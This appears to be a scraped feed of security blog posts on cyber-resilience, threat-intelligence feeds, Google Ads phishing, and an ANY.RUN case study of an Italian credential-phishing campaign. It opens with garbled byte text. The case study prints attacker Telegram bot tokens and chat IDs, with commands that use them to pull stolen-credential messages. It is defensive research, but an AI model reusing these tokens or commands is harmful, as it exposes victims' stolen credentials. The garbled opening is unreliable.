xa5xdfx19x06xf3xd1;xb1x15xe9xdbxcanxc6xbaxdb{xd3xc4,xd4xcfxd1x07xe2x1fix07%xd2rx9cxa7xd1z+zxddxacxd0x18x04x8exfbqpxe1xe1xb81xb1vx12xe4x8dxf0xc0vx1cxf9xc6xcaxc8xedxc4,y~x17rxebp)xedxa6xbaxdcxf5+xeds.txdcx8blxee&x9ex84xb4axb1kx9axc1xx00qrxe6xbfqx02x03x01x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00′>

Cisco Talos Blog – ​Read More

What is cyber-resilience, and how to start implementing it

Attacks on corporate IT infrastructure — especially using ransomware — and other cyber incidents are increasingly topping the lists of risks to business continuity. More importantly, they’ve caught the attention of management, who now ask not “Might we be attacked?” but “What will we do when we’re attacked?” As a result, many companies are striving to develop cyber-resilience.

The World Economic Forum (WEF) defines cyber-resilience as an organization’s ability to minimize the impact of significant cyber incidents on its primary business goals and objectives. The U.S. National Institute of Standards and Technology (NIST) refines this: cyber-resilience is the ability to anticipate, withstand, recover from, and adapt to adverse conditions, attacks, or compromises of cyber systems.

Everyone agrees today’s companies need cyber-resilience — but actually implementing a cyber-resilience strategy presents many challenges. According to a Cohesity survey of 3100 IT and cybersecurity leaders, 98% of surveyed companies aim to be able to recover from a cyberattack within 24 hours, while only 2% can actually meet that goal. In reality, 80% of businesses need between four days and… three weeks to recover.

The seven pillars of cyber-resilience

In its Cyber-Resilience Compass whitepaper, the WEF identifies the following key components of a strategy:

  1. Leadership: embedding cyber-resilience into the company’s strategic goals; communicating clearly with teams about its importance; defining company-wide tolerance levels for major cyber-risks; empowering those responsible for designing and (if necessary) executing rapid response scenarios.
  2. Governance, risk, and compliance: defining a risk profile; assigning clear responsibilities for specific risks; planning and implementing risk mitigation measures; ensuring regulatory compliance.
  3. People and culture: developing cybersecurity skills; tailoring security awareness training to each employee’s role; hiring staff with the right cybersecurity skills; creating a safe environment where employees can report incidents and mistakes without fear.
  4. Business processes: prioritizing IT services based on their importance to business continuity; preparing for worst-case scenarios and fostering adaptability. This includes planning in detail how critical processes will function in the event of large-scale IT failures.
  5. Technical systems: developing and regularly updating system-specific protection measures. For example, secure configurations (hardening), redundancy, network micro-segmentation, multi-factor authentication (MFA), tamper-proof backups, log management. The level of protection and allocated resources must be proportionate to the system’s importance.
    For timely and effective threat response, it’s essential to implement systems that combine detailed infrastructure monitoring with semi-automated response: XDR, SIEM+SOAR, or similar tools.
  6. Crisis management: building incident response teams; improving recovery plans; designating decision-makers in the event of a crisis; preparing backup communication channels (for example, if corporate email and instant messengers are unavailable); developing external communications strategies.
  7. Ecosystem engagement: collaborating with supply-chain partners, regulators, and competitors to raise collective resilience.

Stages of cyber-resilience implementation

The same Cohesity survey reveals that most companies feel they are midway on the road to cyber-resilience, with many having implemented some of the necessary basic technical and organizational measures.

Most commonly implemented:

  • Backup tools
  • Regular backup recovery drills
  • MFA (though rarely company-wide and across all services)
  • Role-based access control (RBAC, also usually only partially implemented)
  • Other cybersecurity hygiene measures
  • Formal response plans
  • Annual or quarterly tabletop exercises testing crisis response procedures with staff from various departments

Unfortunately, “commonly implemented” doesn’t mean widely adopted. Only 30–60% of the surveyed businesses have even partially implemented these. Moreover, in many organizations, IT and cybersecurity teams lack synergy, leading to poor collaboration in shared areas of responsibility.

According to the survey respondents, the most challenging elements to implement are:

  • Metrics and analytics. Measuring progress in cyber-resilience or security innovation is difficult. Few organizations know how to calculate MTTD/MTTR or quantify risks in financial terms. Typically, these are companies whose core activity involves measuring risks, such as banks.
  • Changing company culture. Engaging employees at all levels in cybersecurity processes is challenging. While basic awareness training is common (as a hygiene measure), few companies can adapt it to specific departments or maintain regular engagement and updates due to personnel shortages.
  • Embedding cyber-resilience into the supply chain.  From avoiding dependence on a single supplier to actually controlling contractor security processes — these tasks are extremely difficult and, even with the combined efforts of cybersecurity and procurement, often prohibitively expensive to address for all counterparties.

Another key issue is rethinking the organization of cybersecurity itself and transitioning to zero trust systems. We’ve previously written about the challenges of this transition.

Experts emphasize that cyber-resilience is not a project with a clear end point — it’s an iterative process with multiple phases, which eventually spans the entire organization.

Required resources

Implementing cyber-resilience begins with strong board-level support. Only then can collaboration between the CIO and CISO drive real changes and rapid progress in implementation.

In most companies, up to 20% of the cybersecurity budget is allocated to technologies and projects tied to cyber-resilience — including incident response, identity management, and training programs.

The core cyber-resilience team should be a small cross-functional group with the authority and support required to mobilize IT and cybersecurity resources for each implementation phase, and bring in external experts when needed — for example, for training, tabletop exercises with management, and security assessments. Having the right skill set in this core group is critical.

Implementing cyber-resilience is a largely organizational process, not just technical — so, in addition to a detailed asset inventory and security measures, serious work is required to prioritize risks and processes, define roles and responsibilities in key departments, document, test, and improve incident playbooks, and conduct extensive staff training.

Kaspersky official blog – ​Read More

How SOC Teams Improve Mean Time to Detect and Other KPIs with Threat Intelligence Feeds

Security Operations Centers (SOCs) are under constant pressure to detect threats faster, respond more effectively, and reduce operational noise. Metrics like Mean Time to Detect (MTTD), Mean Time to Respond (MTTR), False Positive Rate (FPR), and True Positive Rate (TPR) are more than just numbers — they define the health and impact of a business security posture. 

Threat intelligence feeds — curated, real-time data streams about emerging threats, vulnerabilities, and attacker tactics — play a pivotal role in optimizing these metrics hence SOCs’ performance. By integrating high-quality solutions, like ANY.RUN’s TI Feeds, teams can improve efficiency, accuracy, and proactive defense. 

1. Reducing Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR) 

MTTD measures the average time taken to identify a security incident. Threat intelligence feeds provide real-time indicators of compromise (IOCs) such as malicious IP addresses, domains, or file hashes. By correlating these IOCs with network and endpoint data, SOCs can detect threats faster. Tools like SIEMs and EDRs use feeds to match artifacts against known malicious signatures in real time. 

MTTR tracks the time from detection to containment or resolution. Threat intelligence feeds enhance response by enabling automation and faster decision-making. 

As a result, known threats get detected immediately, not after hours of investigation, and analysts get context-rich alerts (e.g., malware family, MITRE technique), speeding up triage. 

ANY.RUN’s TI Feeds contain IOCs from real-world attack investigations across 15,000 companies. Namely:  

  • IP addresses. Digital markers of cybercriminal operations, often linked to Command-and-Control (C2) servers or phishing campaigns. 
  • Domains. Often used as staging points for cyberattacks. Domains provide a higher-level view of malicious activity, often connecting multiple IPs or malware instances within a single campaign. 
  • URLs. By link analysis, cybersecurity teams can uncover attack patterns, block harmful traffic, and prevent unauthorized access to systems and data. 
  • Port indicators (additional) offering insights into malicious connections. File hashes (additional) that help to identify and assess dangerous files.

Besides, ANY.RUN’s TI feeds provide detailed context on the indicators that enriches information and helps to assess the impact of each IOC. The contextual data includes:

  • External references: Links to relevant sandbox analyses of malware samples that let users observe an attack in detail and elements and extract actionable data about threat behaviors and adversary TTPs. 
  • Label: Name of the malware family or campaign. 
  • Detection timestamps: “Created” and “Modified” dates provide a timeline to understand if a threat is ongoing or historical. 
  • Related objects: File hashes and network indicators related to the indicator in question. 
  • Score: Value representing the severity level of the IOC. 

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and start improving SOC KPIs 



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2. Lowering False Positive Rate 

A high false positive rate overwhelms analysts with irrelevant alerts, reducing efficiency. Threat intelligence feeds improve alert accuracy by filtering out benign activity and prioritizing high-fidelity threats. 

TI Feeds validate alerts against known threat patterns. For example, a feed might confirm a suspicious IP as part of a botnet, reducing time spent investigating false positives. 

Fewer false positives streamline triage, allowing analysts to focus on genuine threats and improving overall SOC productivity. Some teams also measure Alert Fatigue Index as a ratio of irrelevant alerts to total alerts to evaluate employee burnout risk — TI Feeds help lower this risk as well.  

Understanding the severity of incidents (low, medium, high, critical) also helps SOCs allocate resources effectively. Threat intelligence feeds provide data to classify incidents accurately, prioritize high-impact threats, and improve incident management efficiency. 

3. Enhancing Threat Hunting Success Rate 

Proactive threat hunting — searching for threats before alerts are triggered — is a key SOC capability. Indicators provided by threat intelligence feeds help threat hunters build hypotheses and stay on top of emerging campaigns with freshly exposed IOCs linked to specific threats. Relevant sandbox sessions reveal TTPs, like specific phishing email patterns or command-and-control (C2) behaviors, guiding hunters to uncover hidden threats. For example, such analysis may highlight a new C2 protocol, prompting the search for matching network traffic. 

Targeted hunts increase the success rate of identifying threats proactively, reducing dwell time and preventing escalation. 

4. Reducing Dwell Time 

Dwell time, critical for measuring real-world SOC effectiveness, gauges how long a threat remains undetected in the environment. Threat intelligence feeds enhance visibility into stealthy threats, such as low-and-slow attacks. 

TI Feeds provide unique IOCs from sources including memory dumps, Suricata IDS detections, and internal threat categorization systems, enabling SOCs to detect anomalies that evade traditional signatures. A deeper research involving sandbox sample analysis might reveal a new obfuscation technique used by malware, prompting updated detection rules. 

Shorter dwell times limit attacker persistence, reducing potential damage and supporting compliance requirements. 

5. Increasing Automation Utilization 

Automation is an important metric for scaling SOC operations. Threat intelligence feeds integrate with security tools like SIEMs, SOAR platforms, or firewalls to automate detection and response. 

ANY.RUN’s TI Feeds connect with any vendor, including OpenCTI, ThreatConnect, QRadar, etc. They deliver machine-readable IOCs (e.g., STIX/MISP formats, the support of TAXII protocol) that can be ingested into automated workflows. For instance, a feed might update a firewall’s blocklist with malicious IPs in real time. Higher automation utilization reduces manual workloads, improves response times, and boosts cost efficiency. 

6. Supporting Coverage Rate 

Coverage rate measures the percentage of assets monitored by the SOC. Threat intelligence feeds enhance visibility by identifying new attack surfaces or blind spots. They provide insights into emerging threats targeting specific technologies (e.g., IoT devices, cloud environments), prompting SOCs to expand monitoring. For example, a feed might highlight attacks on a specific cloud API, leading to new telemetry sources. 

Improved coverage ensures comprehensive threat detection across the organization’s attack surface. 

7. Reducing Repeat Incident Rate 

Recurring incidents indicate gaps in remediation or prevention. Threat intelligence feeds provide root cause analysis and mitigation strategies to prevent recurrence. 

Owing to the integration with the Interactive Sandbox, the users of TI Feeds can access detailed post-incident data, such as attackers’ TTPs or misconfigurations exploited. For example, a feed might reveal an indicator related to a phishing campaign exploiting weak MFA settings, prompting stronger controls. Addressing root causes reduces repeat incidents, enhancing long-term security resilience. 

How to Integrate Threat Intelligence Feeds from ANY.RUN 

You can test ANY.RUN’s Threat Intelligence Feeds in STIX and MISP formats by requesting a trial on this page

  • Spot and block attacks quickly to prevent disruptions and damage.  
  • Keep your detection systems updated with fresh data to proactively detect emerging threats.   
  • Handle incidents faster to lower financial and brand damage.   

ANY.RUN also runs a dedicated MISP instance that you can synchronize your server with or connect to your security solutions. 

Conclusion 

Threat intelligence feeds deliver significant business value by enhancing SOC efficiency, reducing risk, and driving cost-effective security operations. By providing real-time, actionable insights, feeds empower organizations to minimize downtime, protect critical assets, and maintain compliance, ultimately safeguarding revenue and reputation.  

With seamless integration into SIEMs and SOAR platforms, ANY.RUN’s TI Feeds maximize automation and ensure comprehensive coverage, helping businesses achieve a robust security posture while improving key KPIs like MTTD, MTTR, and false positive rates. 

About ANY.RUN

ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search, and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.

Request trial of ANY.RUN’s services to test them in your organization → 

The post How SOC Teams Improve Mean Time to Detect and Other KPIs with Threat Intelligence Feeds appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Phishing through Google Ads: attacks on SEO and marketing

Many company employees use various online services through their web browsers every day. Some of them remember website addresses they use frequently and type them in directly, while others – probably most – save bookmarks. Then there are folks who type the service name into a search engine every time and just click the first link that comes up. These are apparently the kind of users that cybercriminals target when they promote their fake (phishing) sites through Google Ads. This promotion makes the fake pages show up higher in search results than the respective authentic websites.

According to Google’s Ads Safety Report, 2024, Google blocked or removed a whopping 415 million ads last year for breaking their rules – mostly  by running scams. The company also blocked five million advertising accounts that were placing these kinds of ads. This gives you an idea of the sheer scale of the problem. Google Ads is an incredibly popular tool for cybercriminals to spread their malicious content. Although a significant proportion of these schemes target regular home users, there’ve been stories lately about scammers going after Semrush or even Google Ads business accounts.

Fake Semrush pages

Semrush is a popular tool that helps you find keywords, analyze your competitors’ websites, track backlinks, and so on. It’s used by SEO pros all over the world. For better performance, Semrush is often integrated with Google Analytics and Google Search Console. Accounts in those services can hold a ton of private business information – such as revenue reports, marketing strategies, analysis of customer behavior, and a lot more.

If cybercriminals can gain access to a Semrush account, they can use that information they find there to launch more attacks on other employees, or just sell the access on the dark web.

It’s small wonder that some crooks have launched a phishing campaign that targets SEO professionals. They set up a series of websites whose design closely mimics the Semrush sign-in page. To appear legitimate, the scammers employed multiple domain names that included the name of the company they were imitating: semrush[.]click, semrush[.]tech, auth.seem-rush[.]com, semrush-pro[.]co, sem-rushh[.]com, and so on. And they use Google Ads to promote all these fake sites.

The only way to tell the fake pages from the real one is by checking the website address. Just like the real Semrush sign-in page, the fake pages show two main ways to authenticate: using a Google account, or by typing in your Semrush username and password. But the criminals have cleverly blocked the fields where you would type in your Semrush credentials; therefore, the victims don’t have any other choice but to try signing in with Google.

Another fake page then opens that does a no-less-convincing job imitating the Google account sign-in page. Of course, any Google account credentials entered there go straight to the scammers.

Fake Google Ads in Google Ads

An even more intriguing twist on the same type of attack saw the cybercriminals leveraging Google Ads to promote fake versions of… Google Ads! The way it works is quite similar to how they go after Semrush credentials – but with one really interesting nuance: the website address shown in the fake Google Ads ad is exactly the same as the real one (ads.google[.]com)!

The scammers have been able to pull this off by using another Google service: Google Sites, a website-building platform. According to the Google Ads rules, an ad can show the address of any page as long as its domain matches the domain of the actual website the ad redirects to. So, if the attacker creates an intermediate website with Google Sites, it has a google.com domain name, which means they’re allowed to display the ads.google.com address in their ad.

Links from this temporary site then redirect to a page that looks just like the Google Ads sign-in. If the user fails to notice they’ve left the real Google pages and types in their login information, it lands right in the hands of the cybercriminals.

How to keep your company safe from phishing

The only way to comprehensively solve the problem of malicious websites being promoted through Google Ads is for Google itself to step up. To their credit, in both the cases described above (the fake Google Ads pages and Semrush sites), the company did take action quickly by removing them from the top of the search results.

To keep your organization safe from these kinds of phishing attacks, we recommend doing the following:

  • Remind your employees that it’s best to bookmark websites they visit often instead of relying on search engines every time.
  • Train your employees to spot potential threats. This is something you can easily and cost-effectively automate with an e-learning platform like the Kaspersky Automated Security Awareness Platform.
  • Make sure to use multi-factor authentication for all services that support it. For Google accounts, it’s best to use a passkey.
  • Install a robust security solution on all company devices. It’ll warn you about dangers and stop you from visiting suspicious websites.

Kaspersky official blog – ​Read More

How Adversary Telegram Bots Help to Reveal Threats: Case Study 

While analyzing malware samples uploaded to ANY.RUN’s Interactive Sandbox, one particular case marked as “phishing” and “Telegram” drew the attention of our security analysts. 

Although this analysis session wasn’t attributed to any known malware family or threat actor group, the analysis revealed that Telegram bots were being used for data exfiltration. This led us to apply a message interception technique for Telegram bots, previously described on the ANY.RUN blog

The investigation resulted in a clear and practical case study demonstrating how intercepting Telegram bot communications can aid in profiling the threat actor behind a relatively obscure phishing campaign. 

Key outcomes of this analysis include: 

  • Examination and technical analysis of a lesser known phishing campaign 
  • Recommendations for detecting this type of threat 

Let’s dive in. 

Technical Analysis of Attack with Telegram Bot 

Let’s take a closer look at the analysis session: 

View analysis session 

The subject of the analysis is a phishing page hosted on a Notion workspace. The page content is in Italian, which, combined with the subdomain name, suggests this is a targeted campaign aimed at Italian-speaking users or organizations. 

The URL submitted for analysis was: 

hxxps[:]//studiosperandio.notion[.]site/1c37ff25a354805f8dd0eed23673d4e8?pvs=4 

Here’s how the page appeared inside ANY.RUN’s Interactive Sandbox: 

Figure 1 – Phishing page designed to appear as an invitation to view a document 

It’s worth noting that the use of Notion workspaces as easily accessible infrastructure for phishing activity is not new.

This is supported by the number and frequency of related samples uploaded to ANY.RUN sandbox, as seen in the following TI Lookup query

Figure 2 – Search results in TI ANY.RUN 

The targeted user is prompted to view a document that was allegedly shared with them.

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To do so, they are asked to sign in using their Microsoft credentials via the following link: 

hxxps[:]//gleaming-foregoing-quicksand[.]glitch[.]me/noter.html 

Clicking the link opens a hastily crafted phishing page designed to mimic a Microsoft OneNote login prompt. The page presents multiple authentication options, including: 

  • Office365 
  • Outlook 
  • Rackspace 
  • Aruba Mail 
  • PEC 
  • Altra Posta 
Figure 3 – Fake OneNote login page  

After selecting a login method, the user is prompted to enter their credentials: 

Figure 4 – Credential input form 

However, clicking the “Login” button does not grant access to the shared document. Instead, several malicious actions are triggered: 

  1. The phishing page uses the ipify[.]org service to retrieve the victim’s IP address. 
Figure 5 – Code snippet used to capture the victim’s IP address 
  1. The collected login, password, and IP address are then exfiltrated via a Telegram bot, with the bot token and chat ID hardcoded directly into the phishing script. 
Figure 6 – Data exfiltration logic using a Telegram bot 
  1. Finally, the user is redirected to the official Microsoft OneNote login page to reinforce the illusion of legitimacy. 
Figure 7 – Official OneNote login page shown after redirection 

As a result, this is a classic case of phishing aimed at credential harvesting

Figure 8 – Request containing credentials sent to the attacker’s Telegram bot 
Figure 9 – Response from the Telegram API 

From the Telegram API response to the data submission request, we were able to extract details about the Telegram bot used by the attacker:  

  • Name: Sultanna  
  • Username: @Sultannanewbot  
  • Token: 7547274214:AAE2ImiQOBUm1JXvTk0sXfZNaZP2J4wL9sE  
  • Exfiltration chat ID: 6475928726 

The combination of the Notion → Glitch domain chain appeared suspicious. A search in ANY.RUN’s Threat Intelligence Lookup revealed several additional submissions following the same pattern: 

DomainName:”notion AND domainName:”glitch” 

Figure 10 – Search results for Glitch + Notion domain combination 

In all of these cases, the Notion workspace used is different (as indicated by the subdomain), but the attack vector is entirely the same. Both the phishing design and the page’s functionality are identical to what was described earlier. 

A search based on the hash and fragments of the phishing page content led us to several earlier submissions, the oldest of which dates back to August 26, 2024. Let’s examine a few: 

Sample submission 1: September 19, 2024

View sandbox session

Upon analyzing the HTML content of the page, we can confirm it follows the exact same pattern: 

  • OneNote credential phishing 
  • Exfiltration of IP address and credentials via a Telegram bot 
  • A domain chain consisting of two services, the first of which is a Cloud Service Provider (CSP) 

The differences this time lie in the use of a different token and chatID bots, as well as a different domain in the attack chain, involving Google Docs and Backblaze B2

Figure 11 – Identical phishing login page 

The exact same code is used to retrieve the victim’s IP address and exfiltrate the stolen data to a Telegram bot, as described earlier. 

Figure 12 – Same logic used to capture the victim’s IP address 
Figure 13 – Same logic used for interaction with the Telegram bot 

Information obtained about the Telegram bot used in this case: 

  • Name: remaxx24 
  • Username: @remaxx24bot 
  • Token: 7072331661:AAEnFxNxOI162AVQUCmfDHMdy6s4fGrnTZY 
  • Chat ID: 5308217415 

Sample submission 2: August 26, 2024

View sandbox session

The attack vector remains the same, with only a slight variation in the phishing theme, this time impersonating an Aruba PEC login page (in Italian: PEC, Posta Elettronica Certificata). 

Figure 14 – Similar phishing login page 

It’s worth noting that over a relatively long period, only a few elements have changed: 

  • The phishing pretext (e.g., impersonating a OneNote login instead of PEC) 
  • Minor visual adjustments to the page layout 

Meanwhile, the malicious JavaScript used to steal credentials has remained identical except for changes to the Telegram bot token and chat ID. 

Telegram bot used in this instance: 

  • Name: Resultant 
  • Username: @Resultantnewbot 
  • Token: 6741707974:AAHGfsh1hk8WVtAfcISXgpZCTL-bpHNvQ_E 
  • Chat ID: 6475928726 

Based on the analysis above, it can be concluded that this is part of a phishing campaign specifically targeting Italian users and employees of Italian organizations. 

Notable characteristics of the campaign include its low operational tempo (as indicated by the limited number and frequency of submissions) and the overall simplicity of the attacker’s tooling. The threat actor relies on free platforms to host phishing content, such as Notion, Glitch, Google Presentation, and RenderForest, uses no or only rudimentary evasion techniques, and leverages Telegram bots as readily available, off-the-shelf C2 infrastructure. 


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Page Hunting 

Using a search by webpage titles on urlscan.io, we were able to identify a number of sites associated with this phishing campaign. 

Query used: page.title:”One Note | Microsoft” OR page.title:”Aruba | PEC” 

The oldest submission dates back to January 29, 2022: https://urlscan.io/result/b4584a98-d35d-4c08-89e8-7208f903fb2d/#summary 

The visual appearance of the phishing page in this case matches what we’ve seen in previously analyzed samples. 

Figure 15 –Malicious page sample from January 29, 2022 

Distinctive features of the older variant: 

  • Uses obfuscation via URL encoding 
  • Employs a different exfiltration method via a POST request to submit data through a web form (the URL was no longer accessible at the time of research), with the login and password entered into designated form fields. 
Figure 16 – Data exfiltration code using a web form submission 

Samples dating back to February 2, 2022, began using the Telegram bot-based exfiltration method described earlier. Obfuscation was implemented through nested URL encoding (typically 2 to 4 levels deep). 

Starting with the sample from August 23, 2023, functionality was added to identify and exfiltrate the victim’s IP address. 

At some point, the threat actor experimented with using Base64 obfuscation for the phishing page but later abandoned this technique for unknown reasons. 

Figure 17 – Example of Base64 obfuscation in the phishing page payload  

Observation period for Base64 obfuscation:  July 1, 2024December 3, 2024 

Evolution of the Phishing Page Mechanisms 

Sample Date   Sample Link  Changes 
January 29, 2022  https://urlscan.io/result/b4584a98-d35d-4c08-89e8-7208f903fb2d/#summary Oldest known sample. URL encoding used. Data exfiltration via form submission. 
February 2, 2022  https://urlscan.io/result/f8663734-6a7a-430c-9f0c-66ea2cdccd8f/ Telegram bot-based exfiltration. Nested (2–4 levels) URL encoding. 
August 23, 2023  https://urlscan.io/result/48457c87-98eb-4844-8156-ab5e6950367c/ Added functionality to collect and exfiltrate victim’s IP address. 
July 1, 2024 – December 3, 2024  https://urlscan.io/result/ab2ab801-d844-493b-8804-925d01515a8d/#summary

https://urlscan.io/result/65b676fa-d076-4e86-8e60-d0aaa6fff685/#summary

Experimented with Base64 obfuscation. Technique was later abandoned for unknown reasons. 
August 26, 2024  https://app.any.run/tasks/2eb1ee0a-66e1-45fd-82e7-5b12aeda9a0b/ Oldest observed sample on app.any.run. Shift in phishing theme to PEC login (Posta Elettronica Certificata). Infrastructure used: RenderForest + Glitch. 
September 19, 2024  https://app.any.run/tasks/691515d9-3a54-49b3-9ab1-a19635e90bf5/ Infrastructure chain updated to: Google Docs + BackBlazeB2 
April 7, 2025  https://app.any.run/tasks/6e05ff83-09e4-4eaf-9b5f-b6628b3919f1/ Last studied sample on app.any.run at the time of research. Infrastructure chain: Notion + Glitch. 

Key Insights on the Phishing Campaign 

As a result of this analysis, we’ve outlined key insights into the nature and structure of the phishing campaign under investigation. 

We identified the active timeline, clarified the target audience, and examined the technical details of the phishing tools used throughout the campaign. While the operation is relatively low in volume and visibility compared to other campaigns, it remains active to this day with phishing pages and Telegram-based exfiltration infrastructure still operational, indicating a continued potential for harm. 

The primary objective of the campaign is the harvesting of credentials for Microsoft 365 services (including Outlook, OneNote, etc.) and Italy’s PEC (Posta Elettronica Certificata), a national certified email system. These stolen credentials are likely intended for brokered access resale within cybercriminal ecosystems. 

From a technical standpoint, the campaign is neither advanced nor innovative: 

  • Low-effort phishing pages, both in terms of social engineering and evasion techniques 
  • Reliance on easily accessible, off-the-shelf infrastructure (e.g., Notion, Glitch, Google Docs, RenderForest) 

This suggests either a low level of technical expertise on the part of the attacker or a lack of focus on the credential theft process itself, supporting the hypothesis that the campaign’s true value lies in access brokering, not execution. 

Investigating the Attacker’s Profile Through Telegram Bot Exfiltration 

In this section, we’ll attempt to refine the attacker profile by analyzing the structure and contents of the stolen data, based on insights gathered during the technical analysis of the exfiltration infrastructure. 

With access to information about the Telegram bots used by the threat actor, we can attempt to retrieve the chat data where victims’ credentials were sent. To do this, we’ll follow the methodology outlined in ANY.RUN’s previously published guide. 

This section focuses on the practical application of that approach. For a deeper dive into the underlying mechanics, refer to the original source: How to Intercept Data Exfiltrated by Malware via Telegram and Discord 

Telegram Exfil Interception

Let’s start with the bot identified in the following analysis: View analysis session 

  • Name: Sultanna 
  • Username: @Sultannanewbot 
  • Token: 7547274214:AAE2ImiQOBUm1JXvTk0sXfZNaZP2J4wL9sE 
  • Exfiltration Chat ID: 6475928726 

To proceed safely, we’ll create a private Telegram group and enable the anonymous message sending option to protect our identity during the interaction. 

Figure 18 – Newly created private Telegram group 

Next, we’ll check whether the bot in question is using webhooks. If webhooks are enabled, the attacker is likely to detect the interception attempt quickly, since webhook requests also transmit the secret bot token, potentially alerting the operator in real time. 

Figure 19 – Description of the secret_token parameter in the Telegram Bot API webhook documentation 

We’ll now send a request to the /getWebhookInfo endpoint via a browser to check the current webhook status for the bot. The response is in JSON format:

https://api.telegram.org/bot7547274214:AAE2ImiQOBUm1JXvTk0sXfZNaZP2J4wL9sE/getWebhookInfo

Figure 20 – Response to endpoint request ‘/getWebhookInfo’ 

This bot does not have any webhooks configured (no URLs are listed in the API’s JSON response), which reduces the likelihood of the attacker detecting interference with the exfiltration infrastructure. 

After completing the initial checks, we’ll use the script set provided in the following article:  https://github.com/anyrun/blog-scripts/tree/main/Scripts/TelegramAPI 

First, let’s prepare the bot for analysis: 

  1. Run the prepare_bot.py script, passing the bot token as an argument 
  1. Synchronize the bot’s update history 
  1. Add the bot to the previously created private group 
  1. Delete the message that logs the bot’s addition to the group 
  1. Retrieve the group ID, which will be needed in the next stage of analysis 

Prepare_bot.py

python3 prepare_bot.py bot7547274214:AAE2ImiQOBUm1JXvTk0sXfZNaZP2J4wL9sE 
Figure 21 – Output of the prepare_bot.py utility 

Now, let’s run the forward_message.py script to make the bot forward messages from the exfiltration chat (the chat_id specified in the phishing page) to our newly created private group: 

Forward_message.py: 

python3 forward_message.py bot7547274214:AAE2ImiQOBUm1JXvTk0sXfZNaZP2J4wL9sE 6475928726 -1002412181543 
Figure 22 – forward_message.py utility in action 

As a result, we begin to see the messages forwarded by the bot appearing in our group chat: 

Figures 23 – Messages exfiltrated by the attacker’s Telegram bot (combined view) 

To intercept messages in bulk rather than one at a time, we can run the forward_messages.py script using the same arguments as forward_message.py. This approach allows us to quantify the scale of the data leakage caused by the phishing campaign under analysis. 

Figure 24 – Example output from the forward_messages.py utility 

After analyzing the email addresses of users whose data was stolen during the phishing campaign, we can confirm our initial assumption: the campaign is primarily targeting Italian users and businesses. Examples of affected domains include: 

  • aedsrl.it – warehouse logistics and automation 
  • legalmail.it – certification authority and PEC (certified email) solutions for corporate communications 
  • gruppoamag.it – public utilities and environmental services 

This conclusion is further supported by: 

  • The use of Italian language in phishing lures and page content 
  • Subdomain names hosting the phishing content, which include Italian words 

To expand or refine our understanding of the threat landscape, we will now examine the bot found in a sandbox session featuring an English-language phishing page: 

View analysis session 

Bot information: 

  • Name: remaxx24 
  • Username: @remaxx24bot 
  • Token: 7072331661:AAEnFxNxOI162AVQUCmfDHMdy6s4fGrnTZY 
  • Chat ID: 5308217415 

We repeated the same steps as described earlier, and as a result, retrieved another batch of messages forwarded by the bot, containing freshly stolen credentials. 

Figures 25 – Intercepted messages from the remaxx24 bot (combined view) 

This time, based on the intercepted IP addresses and email data, the victims appear to be located primarily in the United States, with no clear pattern regarding affected companies or industries. 

Finally, let’s examine another bot identified in the task dated August 26, 2024: View analysis session 

Bot details: 

  • Name: Resultant 
  • Username: @Resultantnewbot 
  • Token: 6741707974:AAHGfsh1hk8WVtAfcISXgpZCTL-bpHNvQ_E 
  • Chat ID: 6475928726 

An interesting detail here is that the bot from the older sandbox analysis session (over six months old) appears to be connected to the bot from a recent sandbox session dated April 7, 2025.

Specifically, both bot configurations share the same chat ID: 

  • Name: Sultanna 
  • Username: @Sultannanewbot 
  • Token: 7547274214:AAE2ImiQOBUm1JXvTk0sXfZNaZP2J4wL9sE 
  • Exfiltration Chat ID: 6475928726 

Once again, we launch the previously mentioned utilities and retrieve: 

Figure 26 – Extracted messages from the Resultant bot 

Both of these bots appear to be linked to a Telegram account named Don, which was responsible for initiating the bots in the exfiltration group/channel via the /start command. Using the Telegram API, we were able to retrieve information about this account: 

https://api.telegram.org/bot6741707974:AAHGfsh1hk8WVtAfcISXgpZCTL-bpHNvQ_E/getChatMember?chat_id=6475928726&user_id=6475928726

Figure 27– Fragment of raw message dump referencing the ‘Don’ account 
Figure 28 – Telegram API response for user ‘Don’ 

However, we were unable to investigate the retrieved data any further. A lookup using the sender’s user_id did not yield any additional information. 

Attacker Profile 

By consolidating the clues uncovered during phishing page analysis and Telegram bot interception, we can outline the characteristics of the phishing campaign and enrich its threat context. 

Attack Vector

Phishing pages and email lures impersonating login portals for Microsoft services (OneNote, Outlook) and Italy’s Aruba PEC (Posta Elettronica Certificata). 

Phishing Mechanics

  • Victim credentials are collected through fake login forms (email + password), and the IP address is gathered using the ipify service. 
  • When the victim clicks the “Login” button, the stolen data is exfiltrated via Telegram bots through interactions with the Telegram API. 
  • After submission, the user is redirected to the legitimate Microsoft login page to maintain the illusion of legitimacy. 

Victimology: 

  • Countries: United States, Italy 
  • Industries affected: Natural resources (gas), business/financial consulting, environmental services, energy, logistics, and digital identity providers (e.g., PEC and e-signature services) 

Objectives: 

  • BEC (Business Email Compromise) 
  • Credential Harvesting (MS OneNote, MS Outlook, etc.) 

Attribution & Threat Actor Assessment: 

There is not enough reliable evidence to attribute this campaign to any specific group or APT. Attribution is further complicated by the low number of samples and the slow operational tempo of the malicious activity. 

Distinct characteristics of the threat actor’s profile include: 

  • Lack of obfuscation or only weak techniques (e.g., atob, nested URL encoding) 
  • Poor mimicry of legitimate web content (low-quality phishing page design) 
  • Use of off-the-shelf solutions (Telegram bots) as exfiltration and C2 infrastructure 
  • Rudimentary defensive mechanisms; the only protection observed is a redirect to a legitimate login page after credentials are captured and exfiltrated 

These factors suggest a particular level of the attacker’s skill and motivation. Either the actor lacks technical sophistication, or they simply choose not to invest resources into more advanced phishing payloads, focusing instead on other parts of their operation, such as access brokering (selling harvested credentials to third parties for further exploitation). 

Conclusion and Detection Recommendations 

